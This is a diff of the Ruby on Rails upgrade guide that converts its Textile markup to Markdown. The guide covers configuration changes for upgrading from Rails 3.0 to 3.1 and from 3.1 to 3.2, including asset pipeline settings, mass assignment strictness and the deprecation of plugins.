config/environments/development.rb There are a couple of new configuration settings that you should add to your development environment: -<ruby> +```ruby # Raise exception on mass assignment protection for Active Record models config.active_record.mass_assignment_sanitizer = :strict # Log the query plan for queries taking more than this (works # with SQLite, MySQL, and PostgreSQL) config.active_record.auto_explain_threshold_in_seconds = 0.5 -</ruby> +``` -h4(#config_test3_2). config/environments/test.rb +### config/environments/test.rb -The <tt>mass_assignment_sanitizer</tt> configuration setting should also be be added to <tt>config/environments/test.rb</tt>: +The `mass_assignment_sanitizer` configuration setting should also be be added to `config/environments/test.rb`: -<ruby> +```ruby # Raise exception on mass assignment protection for Active Record models config.active_record.mass_assignment_sanitizer = :strict -</ruby> +``` -h4(#plugins3_2). vendor/plugins +### vendor/plugins -Rails 3.2 deprecates <tt>vendor/plugins</tt> and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>. +Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`. -h3. Upgrading from Rails 3.0 to Rails 3.1 +Upgrading from Rails 3.0 to Rails 3.1 +------------------------------------- If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1. The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails. -h4(#gemfile3_1). Gemfile +### Gemfile -Make the following changes to your +Gemfile+. +Make the following changes to your `Gemfile`. -<ruby> +```ruby gem 'rails', '= 3.1.3' gem 'mysql2' @@ -143,43 +148,43 @@ end # jQuery is the default JavaScript library in Rails 3.1 gem 'jquery-rails' -</ruby> +``` -h4(#config_app3_1). config/application.rb +### config/application.rb The asset pipeline requires the following additions: -<ruby> +```ruby config.assets.enabled = true config.assets.version = '1.0' -</ruby> +``` If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts: -<ruby> +```ruby # Defaults to '/assets' config.assets.prefix = '/asset-files' -</ruby> +``` -h4(#config_dev3_1). config/environments/development.rb +### config/environments/development.rb -Remove the RJS setting <tt>config.action_view.debug_rjs = true</tt>. +Remove the RJS setting `config.action_view.debug_rjs = true`. Add these settings if you enable the asset pipeline: -<ruby> +```ruby # Do not compress assets config.assets.compress = false # Expands the lines which load the assets config.assets.debug = true -</ruby> +``` -h4(#config_prod3_1). config/environments/production.rb +### config/environments/production.rb -Again, most of the changes below are for the asset pipeline. You can read more about these in the "Asset Pipeline":asset_pipeline.html guide. +Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide. -<ruby> +```ruby # Compress JavaScripts and CSS config.assets.compress = true @@ -197,23 +202,23 @@ config.assets.digest = true # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true -</ruby> +``` -h4(#config_test3_1). config/environments/test.rb +### config/environments/test.rb You can help test performance with these additions to your test environment: -<ruby> +```ruby # Configure static asset server for tests with Cache-Control for performance config.serve_static_assets = true config.static_cache_control = "public, max-age=3600" -</ruby> +``` -h4(#config_wp3_1). config/initializers/wrap_parameters.rb +### config/initializers/wrap_parameters.rb Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications. -<ruby> +```ruby # Be sure to restart your server when you modify this file. # This file contains settings for ActionController::ParamsWrapper which # is enabled by default. @@ -227,4 +232,4 @@ end ActiveSupport.on_load(:active_record) do self.include_root_in_json = false end -</ruby> +``` |